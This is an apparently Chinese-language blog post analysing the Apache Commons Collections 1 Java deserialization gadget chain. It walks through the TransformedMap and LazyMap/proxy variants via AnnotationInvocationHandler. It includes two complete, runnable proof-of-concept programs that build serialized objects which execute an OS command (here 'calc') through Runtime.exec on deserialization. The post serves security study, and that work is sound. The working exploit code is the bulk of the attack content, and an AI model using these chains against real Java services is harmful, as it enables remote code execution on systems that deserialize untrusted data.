Apache Commons Collections 1

利用链分析

InvokerTransformer 对其恶意调用时用法为,如图,那么我们可以寻找其调用transform方法再何处,

image-20221121161648490

其实不难发现,该包类有很多处都调用了该方法,(这里有两条链,先分析国内这条链

国内

其中在这checkSetValue中

image-20221121162007507

在这个类TransformedMap中可以发现调用了transform 可以看一下其构造方法中 参数是否可控。

    /**
     * Override to transform the value when using <code>setValue</code>.
     * 
     * @param value  the value to transform
     * @return the transformed value
     * @since Commons Collections 3.1
     */
    protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }

可以发现这个类 其实是对 map 类的 一个封装类似于,checkSetValue调用的就是valueTransformer的transform

image-20221121162546300

他的构造方法实际是可控的,继续往上找,发现只有一处调用了checkSetValue,就是``TransformedMap的父类AbstractInputCheckedMapDecorator`(抽象类)

image-20230220102949587

而 MapEntry 我们知道在循环遍历的时候会触发,所以只要对map进行遍历并设置值也就会触发checkSetValue这个方法。就可以关注到Sun包下面的AnnotationInvocationHandler这个类,在readObject 中 循环遍历的map

image-20230220103524663

而这里有个难点就是,memberValue.setValue(value)这个方法中的value,是new 了一个出来的代理类,所以就很难控制,于是又可以想到之前涉及到的一个类

ConstantTransformer,该类的transformer方法,可以直接返回固定对象,ChainedTransformer 又可以循环调用transformer。

而进入到需要两个条件

  • AnnotationInvocationHandler的type需要一个value 才能进入。
  • map中的key值也需要这个value的值。
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;、
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException, IOException {
        // 国内
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
        });
        HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
        objectObjectHashMap.put("value","");
        Map decorate = TransformedMap.decorate(objectObjectHashMap, null, chainedTransformer);
        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        Object o = declaredConstructor.newInstance(Target.class, decorate);
        serialize(o);
        unserialize("ser.bin");
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(Files.newInputStream(Paths.get(Filename)));
        return objectInputStream.readObject();
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
        objectOutputStream.writeObject(obj);
    }

}

国外

与国内的思路一致,不同的是利用的map不一样。

image-20230220140915373

而符合这个的是在AnnotationInvocationHandler 的invoke方法中,我们知道invoke是动态代理时会自动触发invoke方法,刚好这个memberValues也是可控制的

image-20230220141056311

所以,我们可以在AnnotationInvocationHandler这个类套上一层代理类,于是代码走到entrySet()时,就会触发invoke方法。成功执行会序代码

image-20230220141206343

完整POC

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException, IOException {
        //        国外
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
        });
        HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
        Map<?,?> decorate =  LazyMap.decorate(objectObjectHashMap, chainedTransformer);
        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        InvocationHandler o = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorate);
        Map proxyMap= (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, o);
        Object o1 = declaredConstructor.newInstance(Override.class, proxyMap);
        serialize(o1);
        unserialize("ser.bin");
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(Files.newInputStream(Paths.get(Filename)));
        return objectInputStream.readObject();
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
        objectOutputStream.writeObject(obj);
    }

CC1利用流程图

image-20230220171022413